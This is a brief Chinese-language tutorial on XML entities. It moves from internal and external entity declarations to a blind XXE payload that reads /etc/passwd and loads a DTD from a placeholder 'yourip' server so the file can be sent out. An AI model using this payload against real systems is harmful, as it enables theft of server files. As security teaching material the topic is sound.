XML

实体

在XML中,实体相当于宏或者变量,可以自定义。ENTITY(独立存在物,实体)

image-20201028142601038

所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。

命名实体(在 XML 规范中也称为内部实体)就是我们在谈论 “实体” 时所指的实体。命名实体在 DTD(Document Type Definition 文档类型定义) 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。

比如在我们使用键盘进行书写 XML 的时候,如果要输入键盘里面没有的希腊字母等文本,可以引用内部已经定义好的实体(宏定义)比如 alpha,然后将我们写下的引用替代为无法输入 α 的UTF-8编码。

1
2
3
<!DOCTYPE Greek_Alphabet[
<!ENTITY alpha "&#x03B1;">
]>

这里我们就可以里利用外部能够注入 XML 文件,执行一些恶意的代码。

XML还支持外部实体引用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE BOOK[
<!-- Reference the outer XML document: -->
<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">
]>

<!-- Pull in the chapter content: -->
&chap1;
&chap2;
&chap3;

如果没有XML的回显的话,我们就可以轻易的利用XML支持外部实体的特点,进行远程回显,使用send将文件远程发送到我们自己服务器的监听端口。

1
2
3
4
5
6
7
8
<?xml version="1.0" ?>
<!DOCTYPE any[
<!ENTITY % file SYSTEM "file://etc/passwd">
<!ENTITY % remote SYSTEM "http://yourip/eval.dtd">
%remote;
%send;
]>
<foo></foo>